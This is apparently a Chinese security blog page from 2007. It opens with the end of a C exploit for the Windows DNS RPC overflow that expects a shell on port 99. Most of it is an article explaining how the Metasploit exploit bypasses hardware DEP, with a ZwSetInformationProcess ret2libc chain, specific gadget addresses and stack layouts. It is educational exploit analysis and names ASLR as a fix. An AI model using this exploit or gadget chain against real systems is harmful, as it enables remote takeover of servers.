    unsigned 
char    *ArguC = (unsigned char *)malloc( 10 );
    strcpy( (
char *)ArguC, "ICYLIFE" );
    
long            *ArguD = (long *)malloc( 20 );
    
long            *ArguE = (long *)malloc( 20 );

    
// 发送exp数据
    printf( "[+] Try to telnet 99 port, good luck!\n" );
    RpcTryExcept
    {
        Status 
= DnssrvQuery( ArguA, ArguB, ArguC, ArguD, ArguE );
    }

    RpcExcept(
1)
    {
        Status 
= RpcExceptionCode( );
        
//printf( "[-] RPC Server reported exception 0x%lx = %ld\n", Status, Status );
    }
    RpcEndExcept

    free( TmpBuff );
    free( ArguB );
    free( ArguC );
    free( ArguD );
    free( ArguE );

[Tips]Bypass Hardware DEP Tips

Author: axis
Date: 2007-04-27
http://www.ph4nt0m.org

DEP(数据执行保护),是windows针对溢出的一种保护措施,分软dep和硬dep,其中硬dep是需要cpu支持的,比较新的处理器一般都支持这个选项,可以在bios里去打开。简单来说,就是堆栈不可执行了,所以一般的在堆栈里执行shellcode的exploit,会攻击失败。

bypass dep也不是新东西了,目前最好的一篇文档是skape和skywing发在uninformed上的一篇。
http://www.uninformed.org/?v=2&a=4&t=txt

这篇文档写的很好,任何想学习或者研究bypass dep的人,都应该去仔细阅读这份文档。

这次由于metasploit里的dns rpc溢出,利用了这种技术,使得绕过硬件dep再次成为了热点,我在这里小结一下。

首先,绕过dep的理论基础是建立在这样一个函数上的。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
NtCurrentProcess()
, // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4



当MEM_EXECUTE_OPTION_ENABLE 设置为 0x2时,则表示禁用NX(Non-Executable) Support. 其中第一个参数可以设置为当前进程。

由于MS的设计原因,导致改函数可以在用户态调用,也就是说在用户态,可以通过调用该函数,来禁用当前进程的NX支持,从而绕过dep。那么调用了一次该函数后,该线程或进程的堆栈空间就是没有DEP保护的了,就可以用来执行shellcode了!

所以通过ret2libc技术,可以在栈里伪造一个frame,来调用这个函数,参数需要我们自己构造,这里的一个弊端就是,因为构造参数的关系,所以不可避免的要有0字节的出现。

以metasploit上的dns rpc溢出为例。分析如下:
在我的2003 sp1上,Ntdll!ZwSetInformationProcess函数如下:

7C951E58 > B8 ED000000 MOV EAX,0ED ;ZwSetInformationProcess
7C951E5D BA 0003FE7F MOV EDX
,7FFE0300
7C951E62 FF12 CALL DWORD PTR DS
:[EDX]
7C951E64 C2
1000 RETN 10



首先,发送payload,覆盖到栈底,触发异常,此时seh被覆盖,跳转地址到0x769c2566
栈内为:

0138FD4C 77674345 OLEAUT32.77674345
0138FD50 306A3246 指向下一个 SEH 记录的指针
0138FD54 769C2566 SE处理程序
0138FD58 6D587277



跳转后:

769C2566 |. 81C5 AC050000 ADD EBP,5AC
769C256C
|. C9 LEAVE
769C256D \
. C2 1400 RETN 14



这里,add ebp/leave/retn 是另外一种覆盖seh的利用方法,也是很早就有人提出来了。因为如果用 pop/pop/retn的方式,会跳到seh的前4字节,在这里这个空间显然不够我们做许多事情,而使用add ebp的方式,则可以跳到shellcode里,利用的空间比较大。具体情况具体分析。

leave指令执行后,栈内的情况

ESP ==> > 769C1DA7 ATL.769C1DA7
ESP
+4 > 79427552
ESP
+8 > 59387453
ESP
+C > 67416569
ESP
+10 > 64755647
ESP
+14 > 50366935
ESP
+18 > 000000ED



这样,将去执行0x769c1da7处的代码,该处代码为

769C1DA7 |. 5E POP ESI
769C1DA8 \
. C3 RETN



这样,实际上,就将esi的内容,变成了0xed. 注意这里0xed是我们需要的调用号,已经带有0字节了。

当0x769c1da8处准备retn时,栈内的情况:

ESP ==> > 769C1DA4 ATL.769C1DA4
ESP
+4 > 7FFE0300
ESP
+8 > 374E6E49
ESP
+C > 769C109C ATL.769C109C
ESP
+10 > 49703552
ESP
+14 > FFFFFFFF
ESP
+18 > 00000022
ESP
+1C > 7FFE0270
ESP
+20 > 00000004
ESP
+24 > 66686561



也就是说,会返回到 0x769c1da4去执行代码,我们看看该处的代码:


769C1DA4 |. 59 POP ECX
769C1DA5
|. 8BC6 MOV EAX,ESI
769C1DA7
|. 5E POP ESI
769C1DA8 \
. C3 RETN



首先将ecx的内容改为 0x7ffe0300
然后将esi的内容mov到eax中,注意前面将esi的内容改成了 0xed,所以实际上就将eax改为了0xed
接下来pop esi,这个无关紧要,再返回到 769C109C


769C109C |. FF11 CALL DWORD PTR DS:[ECX]


这时候比对我们上面所执行的所有代码,实际上就是执行了ZwSetInformationProcess处的代码,最后已经执行到call [ecx]来了.
实际上就是


mov eax,0xed ; 让eax为 0xed
call [
0x7ffe0300] ;执行0x7ffe0300处地址的指令


那么根据前面的理论,在调用这个函数时,需要的几个参数,是要自己构造的,看看栈里的情况


ESP ==> > 49703552 ;无关紧要
ESP
+4 > FFFFFFFF ; 当前进程 NtCurrentProcess()
ESP
+8 > 00000022 ; 0x22 ProcessExecuteFlags
ESP
+C > 7FFE0270 ; 指向 0x2的指针 &ExecuteFlags
ESP
+10 > 00000004 ; 4字节 sizeof(ExecuteFlags)


所以我们就伪造了一个栈帧来执行这个函数,执行完之后,当前的线程就禁用了DEP保护,就可以在栈里执行shellcode代码了。

我们继续跟. 0x7ffe0300处为0x7C95ED50


7C95ED50 > 8BD4 MOV EDX,ESP
7C95ED52 0F34 SYSENTER
7C95ED54
> C3 RETN


SYSENTER后,


769C109E |> \85FF TEST EDI,EDI ; 此时 edi为0
769C10A0
|. 74 06 JE SHORT ATL.769C10A8
769C10A2
|. 8B07 MOV EAX,DWORD PTR DS:[EDI]

. . . . . .

769C10A8
|> \8B06 MOV EAX,DWORD PTR DS:[ESI]
769C10AA
|. 5F POP EDI
769C10AB
|> 5E POP ESI
769C10AC \
. C2 0C00 RETN 0C


还记得前面我们有个pop esi的操作吗,那时候我们随便pop了一个地址到esi去,所以在这里的mov操作,会导致异常,因为esi不可读。这样会跳到seh去

经过 add ebp/leave后,将返回到0x769d35bf,该处的内容是 \xff\xe4 ,也就是jmp esp。


0138FB00 CC INT3
0138FB01 CC INT3
0138FB02 CC INT3
0138FB03 CC INT3
0138FB04 CC INT3
0138FB05 CC INT3
0138FB06 CC INT3
0138FB07 CC INT3



最后,我们就成功在栈内执行shellcode了!

这种ret2libc的核心思想,就是去模拟ZwSetInformationProcess的执行,同时要伪造栈帧以传入指定的参数。我曾经用过类似的方法来绕过Redhat下的exec-shield.

不过这种方法受到0字节的约束。

skape在他的paper里列举了另外一个方法。因为在ntdll.dll里有这么一个地方:


7C96E413 C745 FC 0200000>MOV DWORD PTR SS:[EBP-4],2
7C96E41A 6A
04 PUSH 4
7C96E41C 8D45 FC LEA EAX
,DWORD PTR SS:[EBP-4]
7C96E41F
50 PUSH EAX
7C96E420 6A
22 PUSH 22
7C96E422 6A FF PUSH
-1
7C96E424 E8 2F3AFEFF CALL ntdll
.ZwSetInformationProcess
7C96E429
^ E9 4775FFFF JMP ntdll.7C965975


那么如果能够直接调用到这里来,就禁用了NX了。skape在他的paper里找了一连串地址,最后跳到这里来了,他的平台应该是xp sp2。我这里列的2003 sp1里的情况,直接用这个地址就可以了。有兴趣的可以去看skape的paper。

还有个限制就是此处是在ntdll.dll里的,前面提到了在利用过程的时候,很可能无法跳到ntdll.dll来。

使用skape的方法,可以避免0字节的问题。

最后,skape还总结了bypass dep的利用条件:
1. 没有ASLR( Address Space Layout Randomization ),也就是dll的加载地址不要随机变化

2. 能够在用户态禁用当前线程或进程的NX

3. 能够构造fake frame传入参数。

前面两点的修补方案很显然,加入ASLR;只有内核态才能禁用进程的NX;第三点则是和漏洞有关了。

以上是一点总结,希望能对某些人有点帮助,也感谢emm对我的帮助。